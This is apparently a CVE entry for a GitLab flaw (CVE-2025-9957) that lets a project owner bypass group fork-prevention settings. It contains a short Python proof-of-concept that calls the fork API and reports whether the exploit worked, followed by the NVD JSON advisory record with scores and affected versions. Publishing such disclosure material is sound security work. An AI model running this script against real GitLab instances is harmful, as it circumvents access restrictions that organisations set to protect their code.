CVE-2025-9957

import requests # Target GitLab instance configuration gitlab_url = "https://gitlab.example.com" target_project_id = "123" attacker_namespace_id = "456" access_token = "glpat-xxxxxxxxxxxx" # Project Owner Access Token # Headers for authentication headers = { "PRIVATE-TOKEN": access_token, "Content-Type": "application/json" } # API endpoint to fork a project # This endpoint may lack proper checks against group fork prevention settings fork_url = f"{gitlab_url}/api/v4/projects/{target_project_id}/fork" payload = { "namespace": attacker_namespace_id, "path": "forked-repo-exploit" } try: response = requests.post(fork_url, headers=headers, json=payload) if response.status_code == 201: print("[+] Exploit successful: Project forked bypassing group restrictions.") print(f"[+] Forked Project URL: {response.json().get('web_url')}") else: print("[-] Exploit failed.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-9957", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:33.557", "lastModified": "2026-04-23T20:46:07.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.2 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that under certain conditions could have allowed an authenticated user with project owner permissions to bypass group fork prevention settings due to improper authorization checks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "9B5F84F8-7A9E-4B0F-81DD-71535EB1516C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "2E02C3EE-D0C8-4AC3-8095-7F25A2DB5F1D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/567781", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3275222", "source": "[email protected]", "tags": ["Permissions Required"]}]}}